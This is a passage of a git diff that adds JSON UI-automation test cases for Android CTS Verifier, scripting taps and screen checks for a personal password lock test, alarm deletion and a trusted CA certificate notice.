+{"uuid":"608f1c50-237e-4f5d-94c6-0bbbcba87332","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Go\\\" button\",\"actionId\":\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Go\",\"actionId\":\"bea3d039-320a-4a1b-8bd5-cb295b08bf33\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go\"}],\"childrenIdList\":[\"bea3d039-320a-4a1b-8bd5-cb295b08bf33\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Go\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.220000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/60e745a0-f30e-4679-a41a-45afbf5ace0e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/60e745a0-f30e-4679-a41a-45afbf5ace0e
new file mode 100644
index 0000000..6074d20
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/60e745a0-f30e-4679-a41a-45afbf5ace0e
@@ -0,0 +1 @@
+{"uuid":"60e745a0-f30e-4679-a41a-45afbf5ace0e","details":"{\"type\":\"CompoundAction\",\"name\":\"30_Personal password test\",\"actionId\":\"60e745a0-f30e-4679-a41a-45afbf5ace0e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Personal password test\",\"actionId\":\"ebcd69df-146d-45be-a780-76e454a0d849\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Personal password test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ecaad512-9199-4892-a97b-5ae7e8e2492e\",\"displayText\":\"Personal password test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Personal password test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":514.3333333333334,\"x2\":360.0,\"y2\":556.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":89.0,\"y\":534.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":91.0,\"y\":1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"ecaad512-9199-4892-a97b-5ae7e8e2492e\",\"firstText\":\"Personal password test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Personal password test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":520.0,\"x2\":169.0,\"y2\":548.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal password test\",\"actionId\":\"fd47495d-5b2f-4a0f-87cb-f16498bbda97\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal password test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Password\",\"actionId\":\"ebed0a17-877e-4f84-ae50-d7670f81134d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Password\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next button\",\"actionId\":\"e3284f1a-3d74-4362-b4e0-da5e5ee89109\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm button\",\"actionId\":\"d70ad092-2951-4bdc-8696-2f7b83992368\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"835500ec-ec70-46fb-aefe-cacaf429a914\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"cfdc467a-d002-4155-b571-3c2fbd6f3e43\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify  if password lock appear\",\"actionId\":\"6a20c6cb-a262-48f0-90f6-32e2a2f2128b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/passwordEntry\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0476ed02-5047-48c5-bc87-f3190f992074\",\"displayText\":\"Wed, Nov 18\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"bbab1fef-e863-4d3c-a0cf-efc40a5f44f5\",\"displayText\":\"Wed, Nov 18\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Wed, Nov 18\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":130.0,\"y1\":339.3333333333333,\"x2\":222.33333333333334,\"y2\":360.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-17.333333333333314,\"y\":2.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Wed, Nov 18\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/row\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":10.333333333333334,\"y1\":339.3333333333333,\"x2\":342.3333333333333,\"y2\":360.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":193.5,\"y\":347.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-17.166666666666686,\"y\":2.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bbab1fef-e863-4d3c-a0cf-efc40a5f44f5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/passwordEntry\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":47.0,\"y1\":315.0,\"x2\":340.0,\"y2\":379.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, None\",\"actionId\":\"9f901424-d411-405f-93cb-86ec9d47d759\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"None\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, yes, remove\",\"actionId\":\"e53bb5b5-309f-4203-b8cd-61398c4c85b1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Overview Button\",\"actionId\":\"69a60dcc-6c3c-471d-a6cf-8f7c9ed93af1\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":187,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"ebcd69df-146d-45be-a780-76e454a0d849\",\"fd47495d-5b2f-4a0f-87cb-f16498bbda97\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"ebed0a17-877e-4f84-ae50-d7670f81134d\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"e3284f1a-3d74-4362-b4e0-da5e5ee89109\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"d70ad092-2951-4bdc-8696-2f7b83992368\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\",\"835500ec-ec70-46fb-aefe-cacaf429a914\",\"cfdc467a-d002-4155-b571-3c2fbd6f3e43\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"6a20c6cb-a262-48f0-90f6-32e2a2f2128b\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"9f901424-d411-405f-93cb-86ec9d47d759\",\"e53bb5b5-309f-4203-b8cd-61398c4c85b1\",\"69a60dcc-6c3c-471d-a6cf-8f7c9ed93af1\",\"9b9343fa-a795-4169-883b-32dca700c4b6\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"30_Personal password test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.309000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/61f8f3bd-bae5-4a38-949c-f759cda9375e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/61f8f3bd-bae5-4a38-949c-f759cda9375e
new file mode 100644
index 0000000..968970b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/61f8f3bd-bae5-4a38-949c-f759cda9375e
@@ -0,0 +1 @@
+{"uuid":"61f8f3bd-bae5-4a38-949c-f759cda9375e","details":"{\"type\":\"CompoundAction\",\"name\":\"Delete the alarm\",\"actionId\":\"61f8f3bd-bae5-4a38-949c-f759cda9375e\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/delete\",\"actionId\":\"2be76720-75ed-4c35-b3aa-22e4e152cf43\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.deskclock:id/delete\"}],\"childrenIdList\":[\"2be76720-75ed-4c35-b3aa-22e4e152cf43\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Delete the alarm","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.027000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/63dd640e-a661-47cc-964a-e73a3d4c0f1f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/63dd640e-a661-47cc-964a-e73a3d4c0f1f
new file mode 100644
index 0000000..30b6abf
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/63dd640e-a661-47cc-964a-e73a3d4c0f1f
@@ -0,0 +1 @@
+{"uuid":"63dd640e-a661-47cc-964a-e73a3d4c0f1f","details":"{\"type\":\"CompoundAction\",\"name\":\"16-13-Trusted CA certs\",\"actionId\":\"63dd640e-a661-47cc-964a-e73a3d4c0f1f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Trusted CA certs\",\"actionId\":\"d02bc1a4-deb7-4400-8945-5506756ecec4\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Trusted CA certs\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"95091696-0218-4f46-a342-a2a3d2a14085\",\"displayText\":\"Trusted CA certs\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Trusted CA certs\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":480.6666666666667,\"x2\":351.3333333333333,\"y2\":522.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":502.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":-0.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"95091696-0218-4f46-a342-a2a3d2a14085\",\"firstText\":\"Trusted CA certs\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Trusted CA certs\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":487.0,\"x2\":157.0,\"y2\":518.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Trusted CA certs\",\"actionId\":\"e7825377-ca80-46fb-8dfb-154c58c5721f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Trusted CA certs\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that your administrator installed trusted CA certs\",\"actionId\":\"c3ec4403-51f1-412e-b4a7-99d63a0fb766\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Trusted credentials\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4dd32b4d-5a12-49f0-b31f-5b58f55d230f\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e9de0147-3e30-4038-8957-b8e9e03a5430\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"66bbe985-8f9a-4c93-ad42-a3fffcae28ba\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Trusted credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":183.66666666666666,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.666666666666671,\"y\":2.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"},{\"uuid\":\"50aeed46-89d8-45ad-ab4e-d5bd0c75e393\",\"displayText\":\"Minimum 1 CA certificate\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 CA certificate\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":434.6666666666667,\"x2\":201.66666666666666,\"y2\":451.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 CA certificate\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":129.0,\"y\":423.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":51.0,\"y\":10.666666666666686,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"66bbe985-8f9a-4c93-ad42-a3fffcae28ba\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Trusted credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":49.0,\"y1\":413.0,\"x2\":209.0,\"y2\":433.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a4bc9c9f-9a27-4cdf-a23a-45898e3ec902\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Install Cert\",\"actionId\":\"433f83fc-58c0-4a9b-90b3-659134369779\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Install Cert\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that your administrator installed trusted CA certs\",\"actionId\":\"a8654e62-1848-461b-9949-a5e1af28136b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Trusted credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4beefe62-f711-41a2-bb5d-18cf0520de94\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"402d593b-15f0-4561-9811-2935306f8186\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e192f382-5f14-477c-9ef6-609ccd215fc3\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Trusted credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":183.66666666666666,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.3333333333333286,\"y\":2.1666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"},{\"uuid\":\"86d6834e-4999-46dc-9a89-aba71fb325df\",\"displayText\":\"Minimum 1 CA certificate\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 CA certificate\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":434.6666666666667,\"x2\":201.66666666666666,\"y2\":451.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 CA certificate\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":121.0,\"y\":423.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":59.0,\"y\":10.666666666666686,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"e192f382-5f14-477c-9ef6-609ccd215fc3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Trusted credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":52.0,\"y1\":411.0,\"x2\":190.0,\"y2\":435.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that the administrator has installed at least one trusted CA cert\",\"actionId\":\"34fffbad-5fb7-4714-80d8-df36b76fa7a2\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Minimum 1 CA certificate\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d4524970-139b-4ced-8a6e-47170325cbc6\",\"displayText\":\"Minimum 1 CA certificate\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f5bff29d-634c-44fe-a926-b8d148bb9f3e\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"67b9c571-257d-416a-bdf3-09ce45cc304d\",\"displayText\":\"Trusted credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Trusted credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":183.66666666666666,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"},{\"uuid\":\"08132737-2d39-447a-b0c6-e06c95913c22\",\"displayText\":\"Minimum 1 CA certificate\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 CA certificate\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":434.6666666666667,\"x2\":201.66666666666666,\"y2\":451.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.8333333333333144,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 CA certificate\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Trusted credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":465.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":129.5,\"y\":444.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":50.5,\"y\":-10.833333333333314,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"08132737-2d39-447a-b0c6-e06c95913c22\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Minimum 1 CA certificate\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":42.0,\"y1\":433.0,\"x2\":217.0,\"y2\":456.0}},{\"type\":\"InputAction\",\"name\":\"Back 